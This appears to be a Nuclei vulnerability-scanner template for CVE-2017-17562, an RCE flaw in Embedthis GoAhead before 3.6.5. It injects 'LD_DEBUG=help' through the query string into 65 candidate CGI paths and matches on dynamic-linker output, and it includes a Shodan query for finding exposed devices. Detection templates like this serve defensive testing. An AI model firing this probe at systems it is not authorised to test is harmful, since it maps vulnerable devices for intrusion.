CVE-2017-17562: Embedthis GoAhead <3.6.5 - Remote Code Execution

id: CVE-2017-17562

info:
  name: Embedthis GoAhead <3.6.5 - Remote Code Execution
  author: geeknik
  severity: high
  description: |
    description: Embedthis GoAhead before 3.6.5 allows remote code execution if CGI is enabled and a CGI program is dynamically linked.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the target system.
  remediation: |
    Upgrade to Embedthis GoAhead version 3.6.5 or later to mitigate this vulnerability.
  reference:
    - https://www.elttam.com/blog/goahead/
    - https://github.com/ivanitlearning/CVE-2017-17562
    - https://github.com/vulhub/vulhub/tree/master/goahead/CVE-2017-17562
    - https://github.com/embedthis/goahead/issues/249
    - https://nvd.nist.gov/vuln/detail/CVE-2017-17562
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2017-17562
    cwe-id: CWE-20
    epss-score: 0.9397
    epss-percentile: 0.99879
    cpe: cpe:2.3:a:embedthis:goahead:*:*:*:*:*:*:*:*
  metadata:
    max-request: 65
    vendor: embedthis
    product: goahead
    shodan-query: cpe:"cpe:2.3:a:embedthis:goahead"
  tags: cve,cve2017,rce,goahead,fuzz,kev,vulhub,embedthis,vkev,vuln

http:
  - raw:
      - |
        GET /cgi-bin/{{endpoint}}?LD_DEBUG=help HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    payloads:
      endpoint:
        - admin
        - apply
        - non-CA-rev
        - cgitest
        - checkCookie
        - check_user
        - chn/liveView
        - cht/liveView
        - cnswebserver
        - config
        - configure/set_link_neg
        - configure/swports_adjust
        - eng/liveView
        - firmware
        - getCheckCode
        - get_status
        - getmac
        - getparam
        - guest/Login
        - home
        - htmlmgr
        - index
        - index/login
        - jscript
        - kvm
        - liveView
        - login
        - login.asp
        - login/login
        - login/login-page
        - login_mgr
        - luci
        - main
        - main-cgi
        - manage/login
        - menu
        - mlogin
        - netbinary
        - nobody/Captcha
        - nobody/VerifyCode
        - normal_userLogin
        - otgw
        - page
        - rulectl
        - service
        - set_new_config
        - sl_webviewer
        - ssi
        - status
        - sysconf
        - systemutil
        - t/out
        - top
        - unauth
        - upload
        - variable
        - wanstatu
        - webcm
        - webmain
        - webproc
        - webscr
        - webviewLogin
        - webviewLogin_m64
        - webviewer
        - welcome
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "environment variable"
          - "display library search paths"
        condition: and

      - type: status
        status:
          - 200
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